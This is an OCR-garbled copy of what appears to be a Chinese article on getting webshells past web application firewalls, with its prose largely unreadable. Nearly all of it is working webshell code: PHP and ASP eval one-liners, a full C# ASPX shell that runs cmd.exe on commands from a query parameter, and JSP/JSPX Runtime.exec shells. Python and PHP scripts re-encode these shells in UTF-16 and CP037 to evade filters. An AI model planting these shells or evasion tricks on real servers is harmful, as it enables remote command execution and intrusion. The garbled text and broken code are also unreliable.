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<?php phpinfo();?7>

<script language="php'>phpinfo();</script>
<?=phpinfo()?>

<?phpinfo()?>

<%=phpinfo()%>
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<¥%eval request("a")%>
<%@® LANGUAGE=Jscript %><%eval(Request("a"),"unsafe");%>

asp/aspx tBAEZEML <script language="php>HIED, FE T <%%> 4F1E,

asp
<script language="vbs" runat="server">eval request("a")</script>

aspx

<script language="C#" runat="server">void page_load(){Response.Write(Request.QueryString["a"]);}</script>

BIRBAE aspx XigABRE, BE <M THY webshell 13k,

<script language="C#" runat="server">

void page_load(){
string ok = Request.QueryString["cmd"];
string shell="C:\\windows\\system32\\cmd.exe";
Response . Write("<pre>");
Response.Write(GetCmd(ok,shell));
Response . Write("</pre>");

3
private stringGetCmd(string cmd,string shell)

{
string ok = string.Empty;
System.Diagnostics.Process p = newSystem.Diagnostics.Process();
p.StartInfo.FileName = shell;

p.StartInfo.UseShellExecute =false;
p.StartInfo.RedirectStandardInput =true;
p.StartInfo.RedirectStandardOutput= true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;

string strOutput = null;

try

{
p.Start();
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Response.Write(cmd);
p.StandardInput.WritelLine("exit");
ok =p.StandardOutput.ReadToEnd();
p.WaitForExit(Q);
p.Close();

}

catch (Exception ex)

{
Response .Write("<pre>");
Response.Write(ex);
Response.Write("/<pre>");

}

return ok;

}

</script>

aspx W IFHIZASH N UTF-16be 8& CPO37 H4gt58, BEEM web.config FIREI T, RIBRHIASZE jsp k.
<globalization fileEncoding="cp@37"/>

3, jspx UTF-16be/le

jsp RBEEEHEE https://www.anguanke.com/post/id/210630

= 0 jsp webshell

<%Runtime.getRuntime().exec(request.getParameter("i")) ;%>

B0 jspx webshell, = jspx webshell 2R jsp MK IHPTDARENT, MNRBEEAOLIR <%%> 51F, BFER <
jsp:scriptlet > BIAJ,

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
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<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>

</jsp:root>
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<?php

$utf8 = '<?xml version="1.0" encoding="UTF-8"?7>

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="1.2">

<jsp:directive.page contentType="text/html"/>

<jsp:declaration>

</jsp:declaration>

<jsp:scriptlet>

Runtime.getRuntime().exec(request.getParameter("i"));

</jsp:scriptlet>

<jsp:text>

</Jjsp:text>

</jsp:root>";

$utfiebe = str_replace('UTF-8', 'UTF-16be', $utf8);
$utflobe = mb_convert_encoding($utflebe, 'UTF-lebe', 'UTF-8');
file_put_contents('utf-16be.jsp',$utficbe);

$utfl6le = str_replace('UTF-8', 'UTF-16le', $utf8);
$utflele = mb_convert_encoding($utflele, 'UTF-16le', 'UTF-8');
file_put_contents('utf-16le.jsp',$utflele);
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#python2
charset = "utf-8"

data = ""'<?xml version="1.0" encoding="UTF-8"7>

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="1.2">

<jsp:directive.page contentType="text/html"/>

<jsp:declaration>

</jsp:declaration>

<jsp:scriptlet>

Runtime.getRuntime().exec(request.getParameter("i"));

</jsp:scriptlet>

<jsp:text>

</jsp:text>

</jsp:root>""".format(charset=charset)

flebe = open('utf-16be.jsp', 'wb')
flobe.write(data.replace('UTF-8", "UTF-16be"').encode('utf-16be'))

flele = open('utf-16le.jsp', 'wb")
flole.write(data.replace('UTF-8'", 'UTF-16le').encode('utf-16le'))

fcp@37 = open('cp@37.jsp','wb")
fcp@37.write(data.replace('UTF-8", 'CP@37").encode('cp@37'))
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</XmL version="1.Y" encoding="ulkr-g8" 7>

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="1.2">

<jsp:directive.page contentType="text/html"/>

<jsp:declaration>

</jsp:declaration>
<jsp:scriptlet>

Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>

<jsp:text>

</jsp:text>

</jsp:root>
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<?xml version="1.0" encoding="UTF-8"7>

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="1.2">

<jsp:directive.page contentType="text/html"/>

<jsp:declaration>

</jsp:declaration>

<jsp:scriptlet>

<! [CDATA[Run]]>time.getRuntime().<![CDATA[exe]]>c(request.getParameter("i"));

</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>
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SFIE xml #226 jsp, PIBARR bom =k (\XxFE\xFF) RFEBEZRA3~ UTF-16be

https://mp.weixin.qq.com/s/FeV81BsvpvovFaiECIKf5Q

6/8



2021/10/13 F4-8:07 waféid Z bR sent

#python2
charset = "utf-8"
data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>""".format(charset=charset)

flobe = open('utf-16be.jsp', 'wb')
flebe.write("\xfe\xff")
flebe.write(data.encode('utf-16be'))

7, jsp contentType
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#python2
charset = "utf-8"
data = "''<%Runtime.getRuntime().exec(request.getParameter("i"));%>""".format(charset=charset)

flebe = open('utf-16be.jsp', 'wb')
flebe.write('<%@ page contentType="charset=utf-16be" %>"')
flobe.write(data.encode('utf-16be’))

flole = open('utf-16le.jsp','wb')
flele.write('<jsp:directive.page contentType="charset=utf-16le"/>")
flele.write(data.encode('utf-16le'))

fcp@37 = open('cp@37.jsp','wb")

fcp@37.write(data.encode('cp@37'))
fcp@37.write('<%@ page contentType="charset=cp@37"/>")
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